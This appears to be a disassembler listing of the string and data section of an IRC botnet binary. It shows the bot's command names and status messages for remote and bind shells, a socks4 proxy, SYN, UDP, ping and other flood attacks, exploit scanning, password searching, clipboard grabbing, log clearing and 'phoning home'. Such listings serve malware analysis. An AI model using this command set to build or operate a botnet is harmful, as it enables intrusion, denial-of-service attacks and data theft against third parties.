; DATA XREF: sub_401AA1:loc_4048BFo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1PoweredByLame db '1 Powered By lamer .',0
align 8
unk_42DEA8 db 2 ; DATA XREF: sub_401AA1+2DE6o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 65h, 2
db 63h ; c
db 2, 75h, 2
db 72h ; r
db 2, 65h, 2
db 2
db 3, 30h, 31h
db 2Ch ; ,
db 3, 31h, 34h
db 3Ah ; :
db 3, 31h, 20h
aFailedToSta_14 db 'Failed to start secure thread, error: <%d>.',0
dword_42DEFC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2650253h
; DATA XREF: sub_401AA1+2D82o
dd 2750263h, 2650272h, 31300302h, 3431032Ch, 2031033Ah
dd 3207325h, 2530234h, 65747379h, 2E6Dh
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401AA1+2D7Co
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401AA1+2D75o
align 4
unk_42DF4C db 2Dh ; - ; DATA XREF: sub_401AA1+2CE9o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_15 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42DF8C db 2Dh ; - ; DATA XREF: sub_401AA1+2C7Bo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42DFB8 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_16 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42DFF4 dd 234032Dh, 6B636F73h, 3023473h ; sub_411E46+A8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42E01C dd 234032Dh, 646E6966h, 656C6966h, 2D0302hdword_42E02C dd 646E6946h, 6C696620h, 65hdword_42E038 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 21F501Fh
; DATA XREF: sub_401AA1+2AC0o
dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 3103h
dword_42E060 dd 636F7250h, 20737365h, 7473696Ch, 0dword_42E070 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2A48o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F636502h
dd 63656E6Eh, 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044DCo
; sub_401AA1:loc_40949Co ...
align 10h
dword_42E0C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2A26o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 44022031h, 63736902h
dd 656E6E6Fh, 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044BAo
align 10h
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044A3o
; sub_401AA1+7838o
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+29F0o
align 10h
dword_42E130 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+29A4o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 53022031h, 74617402h
dd 203A7375h, 65025202h, 2E796461h, 2420220h, 220746Fh
dd 74700255h, 3A656D69h, 25203403h, 2E73h
dword_42E180 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2966o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 42022031h, 20746F02h
dd 1F441F49h, 2034033Ah, 2E7325h
unk_42E1B8 db 2 ; DATA XREF: sub_401AA1+292Do
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 68h, 72h
db 2
db 65h, 2, 61h
db 2
db 64h, 73h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 34h, 3Ah
db 3
a1FailedToSta_0 db '1 Failed to start list thread, error: <%d>.',0
align 4
dword_42E20C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 72680254h
; DATA XREF: sub_401AA1+28D4o
dd 64026165h, 20310373h, 69026C02h, 74027302h, 2742002h
dd 2720268h, 2610265h, 2E730264h, 0
dword_42E244 dd 627573h dword_42E248 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+285Co
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 6C412031h, 20736169h
dd 7473696Ch, 2Eh, 0
dword_42E280 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F026Ch
; DATA XREF: sub_401AA1+282Co
dd 30030267h, 31032C34h, 34033A35h, 2460220h, 656C6961h
dd 2742064h, 220026Fh, 61740253h, 2207472h, 7369026Ch
dd 676E6974h, 2540220h, 61657268h, 2202C64h, 2720245h
dd 26F0272h, 33A0272h, 253C2031h, 2E3E64h
dword_42E2E0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F026Ch
; DATA XREF: sub_401AA1+27B5o
dd 30030267h, 31032C34h, 34033A35h, 24C0220h, 69747369h
dd 6C20676Eh, 67026F02h, 2Eh
dword_42E314 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+272Eo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4E022031h, 77746502h
dd 206B726Fh, 6F666E49h, 2Eh
dword_42E34C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+26FFo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 53022031h, 74737902h
dd 49206D65h, 2E6F666Eh, 0
dword_42E384 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+26AAo
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F6D6502h
dd 69027602h, 220676Eh, 746F0242h, 2Eh
dword_42E3C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh
; DATA XREF: sub_401AA1+2679o
dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h
dd 7369026Ch, 676E6974h, 2740220h, 61657268h, 2202C64h
dd 72720245h, 33A726Fh, 253C2034h, 2E3E64h
dword_42E420 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh
; DATA XREF: sub_401AA1+261Ao
dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
dd 6F720250h, 63026302h, 2730265h, 6C022073h, 73026902h
dd 2E7402h
aFull db 'full',0 ; DATA XREF: sub_401AA1+25FAo
align 4
dword_42E468 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh
; DATA XREF: sub_401AA1+259Bo
dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h
dd 26C0241h, 2650272h, 2640261h, 72022079h, 26E0275h, 6E69026Eh
dd 2E6702h
dword_42E4AC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+254Ao
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 69747002h
dd 33A656Dh, 73252034h, 2Eh
unk_42E4E4 db 2 ; DATA XREF: sub_401AA1:loc_403F21o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 1Fh
db 43h, 1Fh, 2
db 6Dh ; m
db 2, 64h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 5Dh
db 3
a1RemoteShellRe db '1 Remote shell ready.',0
align 4
unk_42E51C db 2 ; DATA XREF: sub_401AA1+2479o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 1Fh
db 43h, 1Fh, 2
db 6Dh ; m
db 2, 64h, 2
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 5Dh
db 3
a1CouldnTOpenRe db '1 Couldn',27h,'t open remote shell.',0
align 10h
dword_42E560 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F431Fh
; DATA XREF: sub_401AA1+245Do
dd 264026Dh, 2C313003h, 5D353103h, 2203103h, 6D650252h
dd 2065746Fh, 68025302h, 206C6C65h, 6C024102h, 64616572h
dd 52022079h, 6E6E7502h, 2E676E69h, 0
dword_42E5AC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+2447o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65472031h, 6C432074h
dd 6F627069h, 2E647261h, 0
dword_42E5E4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401AA1+2419o
dd 2Dh
unk_42E5FC db 2Dh ; - ; DATA XREF: sub_401AA1:loc_403EAAo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42E628 db 2Dh ; - ; DATA XREF: sub_401AA1+2402o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42E64C db 2Dh ; - ; DATA XREF: sub_401AA1:loc_403E79o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42E678 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_403E72o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42E6A4 db 2Dh ; - ; DATA XREF: sub_401AA1+23CAo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42E6C8 db 2Dh ; - ; DATA XREF: sub_401AA1+2337o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_17 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42E704 db 2Dh ; - ; DATA XREF: sub_401AA1+22DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42E740 db 2 ; DATA XREF: sub_401AA1+2200o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 70h ; p
db 64h, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 31h
aFailedToSta_18 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42E790 db 2 ; DATA XREF: sub_401AA1+21A7o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 70h ; p
db 64h, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 31h
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42E7E0 db 2 ; DATA XREF: sub_401AA1+208Bo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 54h
db 2
db 46h, 2, 54h
db 2
db 70h, 2, 64h
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a1FailedToSta_1 db '1 Failed to start server thread, error: <%d>.',0
align 10h
unk_42E830 db 2 ; DATA XREF: sub_401AA1+2032o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 54h
db 2
db 46h, 2, 54h
db 2
db 70h, 2, 64h
db 3
db 30h, 31h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a1ServerStarted db '1 Server started on Port: %d, File: %s.',0
align 4
unk_42E87C db 2 ; DATA XREF: sub_401AA1+1F85o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 31h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 70h ; p
db 64h, 3, 30h
db 31h ; 1
db 2Ch, 3, 31h
db 34h ; 4
db 3Ah, 3, 31h
aAlreadyRunni_1 db ' Already running.',0
align 10h
dword_42E8B0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1:loc_403A10o
dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h
dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h
dd 61630253h, 2202C6Eh, 726F0250h, 73692074h, 26E6920h
dd 6C610276h, 64026902h, 2Eh, 0
dword_42E910 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+1F10o
dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h
dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h
dd 61630253h, 2202C6Eh, 72680274h, 2C646165h, 2450220h
dd 726F7272h, 2031033Ah, 3E64253Ch, 2Eh
dword_42E970 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1:loc_403952o
dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 25203103h
dd 34032073h, 6F025002h, 2207472h, 61630253h, 5302206Eh
dd 72617402h, 20646574h, 31036E6Fh, 3A732520h, 3206425h
dd 2570234h, 20687469h, 44022061h, 616C6502h, 666F2079h
dd 25203103h, 34032064h, 65025302h, 646E6F63h, 46022073h
dd 3726F02h, 64252031h, 2340320h, 6E69024Dh, 73657475h
dd 2550220h, 676E6973h, 25203103h, 34032064h, 68027402h
dd 64616572h, 2E73h
aSequential db 'Sequential',0 ; DATA XREF: sub_401AA1+1E86o
; sub_401AA1+5AFCo
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401AA1+1E7Fo
; sub_401AA1+5AF5o
align 10h
dword_42EA30 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+1CC5o
dd 41026E02h, 6C026C02h, 2C343003h, 3A343103h, 2203403h
dd 726C0241h, 79646165h, 25203103h, 34032064h, 63025302h
dd 696E6E61h, 220676Eh, 72680254h, 73646165h, 254202Eh
dd 206F026Fh, 61024D02h, 220796Eh, 65700253h, 69666963h
dd 2E6465h
unk_42EA98 db 2Dh ; - ; DATA XREF: sub_401AA1+1C53o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_19 db 'Failed to start search thread, error: <%d>.',0
unk_42EAD4 db 2Dh ; - ; DATA XREF: sub_401AA1+1BD7o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401AA1+1BA9o
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401AA1+1B98o
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401AA1+1B82o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401AA1+1B6Bo
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_401AA1+1B41o
dword_42EB54 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+1AF1o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 72432031h, 69687361h
dd 6220676Eh, 2E746Fh
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401AA1:loc_40357Co
; sub_401AA1+1B2Bo
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401AA1+1AC6o
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401AA1+1AB1o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401AA1+1A9Co
align 10h
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401AA1+1A87o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401AA1+1A72o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401AA1+1A5Do
align 4
aCip db 'cip',0 ; DATA XREF: sub_401AA1+1A48o
aCurrentip db 'currentip',0 ; DATA XREF: sub_401AA1+1A33o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401AA1+1A1Eo
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401AA1+1A09o
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401AA1+19F4o
align 10h
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401AA1+19DFo
align 4
aGc db 'gc',0 ; DATA XREF: sub_401AA1+19CAo
align 10h
aGetclip db 'getclip',0 ; DATA XREF: sub_401AA1+19B5o
unk_42EC18 db 2Dh ; - ; DATA XREF: sub_401AA1+1977o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401AA1+195Co
; sub_401AA1+3C69o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401AA1:loc_4033E9o
align 10h
dword_42EC50 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+1928o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 24C2031h, 6967026Fh
dd 26C206Eh, 74730269h, 2430220h, 6C706D6Fh, 2E657465h
dd 0
dword_42EC94 dd 202E6425h, 7325h ; sub_40B311+46o
dword_42EC9C dd 706D453Ch, 3E7974hdword_42ECA4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F6C1Fh
; DATA XREF: sub_401AA1+18BCo
dd 269676Fh, 3003026Eh, 31032C31h, 31035D35h, 26C0220h
dd 747369h
dword_42ECD0 dd 6F6877h dword_42ECD4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F431Fh
; DATA XREF: sub_401AA1+1894o
dd 264026Dh, 2C313003h, 5D353103h, 3103h
dword_42ECF8 dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401AA1+1876o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401AA1+1861o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401AA1+184Co
aDll db 'dll',0 ; DATA XREF: sub_401AA1+1837o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401AA1+1822o
align 10h
aDrv db 'drv',0 ; DATA XREF: sub_401AA1+180Do
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401AA1+17F8o
align 10h
aUp db 'up',0 ; DATA XREF: sub_401AA1+17E3o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401AA1+17CEo
align 4
aPs db 'ps',0 ; DATA XREF: sub_401AA1+17B9o
align 10h
aProcs db 'procs',0 ; DATA XREF: sub_401AA1+17A4o
align 4
aL4m3rz db 'l4m3rz',0 ; DATA XREF: sub_401AA1+178Fo
align 10h
aKh4l3d db 'Kh4l3d',0 ; DATA XREF: sub_401AA1+177Ao
align 4
aSi db 'si',0 ; DATA XREF: sub_401AA1+1765o
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401AA1+1750o
aNi db 'ni',0 ; DATA XREF: sub_401AA1+173Bo
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401AA1+1726o
aClg db 'clg',0 ; DATA XREF: sub_401AA1+1711o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401AA1+16FCo
align 10h
aLg db 'lg',0 ; DATA XREF: sub_401AA1+16E7o
align 4
aLog db 'log',0 ; DATA XREF: sub_401AA1+16D2o
aAl db 'al',0 ; DATA XREF: sub_401AA1+16BDo
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401AA1+16A8o
aT: ; DATA XREF: sub_401AA1+1693o
; .XPack0:0043AC08o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401AA1+167Eo
dword_42EDB0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+164Ao
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h
a1FailedToReboo db '1 Failed to reboot system.',0
align 10h
dword_42EDF0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh
; DATA XREF: sub_401AA1+1643o
dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F626502h
dd 6E69746Fh, 53022067h, 74737902h, 2E6D65h
aR3start db 'r3start',0 ; DATA XREF: sub_401AA1+162Co
aI: ; DATA XREF: sub_401AA1+1617o
; .XPack0:0043AC14o ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401AA1+1602o
align 4
aS_1: ; DATA XREF: sub_401AA1+15EDo
; .XPack0:0043AC20o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401AA1+15D8o
align 4
aQ: ; DATA XREF: sub_401AA1+15C3o
; .XPack0:off_43ABF8o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401AA1+15AEo
align 4
aDc db 'dc',0 ; DATA XREF: sub_401AA1+1599o
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401AA1+1584o
align 4
aR: ; DATA XREF: sub_401AA1+156Fo
; sub_401AA1+3D76o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401AA1+155Ao
align 4
aExplist db 'explist',0 ; DATA XREF: sub_401AA1+1545o
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401AA1+1530o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401AA1+151Bo
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401AA1+1506o
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401AA1+14F1o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401AA1+14DCo
align 4
aStats db 'stats',0 ; DATA XREF: sub_401AA1+14C7o
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_401AA1+14B2o
align 10h
dword_42EED0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h
; DATA XREF: sub_401AA1+14A7o
dd 3026E02h, 32C3430h, 33A3431h, 34h
aScan_0 db 'Scan',0 ; DATA XREF: sub_401AA1+14A2o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_401AA1+1489o
align 4
dword_42EF08 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2650253h
; DATA XREF: sub_401AA1+147Eo
dd 2750263h, 2650272h, 31300302h, 3431032Ch, 31033Ah
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401AA1+1479o
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401AA1+1460o
align 4
dword_42EF44 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaClone db 'Clone',0 ; DATA XREF: sub_401AA1+1450o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401AA1+1437o
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401AA1+1422o
align 10h
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401AA1+140Do
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401AA1+13F8o
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401AA1+13E3o
align 4
dword_42EF94 dd 234032Dh, 70746674h, 2D030264h, 0aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401AA1+13BAo
align 10h
aPingstop db 'pingstop',0 ; DATA XREF: sub_401AA1+1391o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401AA1+1368o
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401AA1+133Fo
align 10h
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401AA1+1316o
unk_42EFDC db 2Dh ; - ; DATA XREF: sub_401AA1+12FCo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42F010 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; sub_401AA1+135Do
dword_42F020 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; sub_401AA1+1358o
dword_42F030 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; sub_401AA1+1334o
dword_42F040 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; sub_401AA1+132Fo
dword_42F050 dd 234032Dh, 676E6970h, 2D0302h ; sub_401AA1+13AFo
dword_42F05C dd 676E6950h, 6F6C6620h, 646Fh ; sub_401AA1+13AAo
dword_42F068 dd 234032Dh, 2706475h, 2D03h ; sub_401AA1+1386o
dword_42F074 dd 20504455h, 6F6F6C66h, 64h ; sub_401AA1+1381o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401AA1+11C0o
align 4
dword_42F08C dd 234032Dh, 6B6E6F77h, 2D0302h ; sub_401AA1+1282o
dword_42F098 dd 6B6E6F57h, 6F6C6620h, 646Fh ; sub_401AA1+127Do
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401AA1+1197o
align 10h
dword_42F0B0 dd 234032Dh, 67726174h, 3023361h, 2Dh ; sub_401AA1+1264o
dword_42F0C0 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; sub_401AA1+125Fo
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401AA1+116Eo
align 4
dword_42F0DC dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; sub_401AA1+12E2o
dword_42F0EC dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; sub_401AA1+12DDo
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401AA1+1145o
align 4
dword_42F108 dd 234032Dh, 26E7973h, 2D03h ; sub_401AA1+1204o
dword_42F114 dd 206E7953h, 6F6F6C66h, 64h ; sub_401AA1+11FFo
aSynstop db 'synstop',0 ; DATA XREF: sub_401AA1+111Co
dword_42F128 dd 234032Dh, 736F6464h, 2D0302h ; sub_401AA1+11E6o
dword_42F134 dd 536F4444h, 6F6C6620h, 646Fh ; sub_401AA1+11E1o
dword_42F140 dd 736F6464h, 6F74732Eh, 70hdword_42F14C dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_42F15C dd 20504354h, 69646572h, 74636572h, 0aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401AA1+10CAo
align 4
dword_42F17C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F6C02h
; DATA XREF: sub_401AA1+10BFo
dd 3003676Fh, 31032C31h, 31033A35h, 0
dword_42F1A0 dd 20676F4Ch, 7473696Ch, 0aLogstop db 'logstop',0 ; DATA XREF: sub_401AA1+10A1o
dword_42F1B4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 74740248h
; DATA XREF: sub_401AA1+1096o
dd 31036470h, 32D3A35h, 31h
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401AA1+1078o
align 10h
dword_42F1E0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 26C0252h
; DATA XREF: sub_401AA1+106Do
dd 21F6F1Fh, 2690267h, 264026Eh, 2C313003h, 3A343103h
dd 3103h
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401AA1+104Fo
align 4
dword_42F218 dd 234032Dh, 6B636F73h, 3023473h, 2DhaSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401AA1+1026o
align 4
aS4 db 's4',0 ; DATA XREF: sub_401AA1+1011o
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_401AA1+FFCo
align 10h
dword_42F240 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aServer_0 db 'Server',0 ; DATA XREF: sub_401AA1+FECo
; sub_401AA1+103Fo ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401AA1+FD3o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401AA1+FBEo
align 10h
aBindshell db 'bindshell',0 ; DATA XREF: sub_401AA1+FA9o
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401AA1+F94o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401AA1+F7Fo
align 10h
aSec db 'sec',0 ; DATA XREF: sub_401AA1+F6Ao
; sub_401AA1+2D1Ao
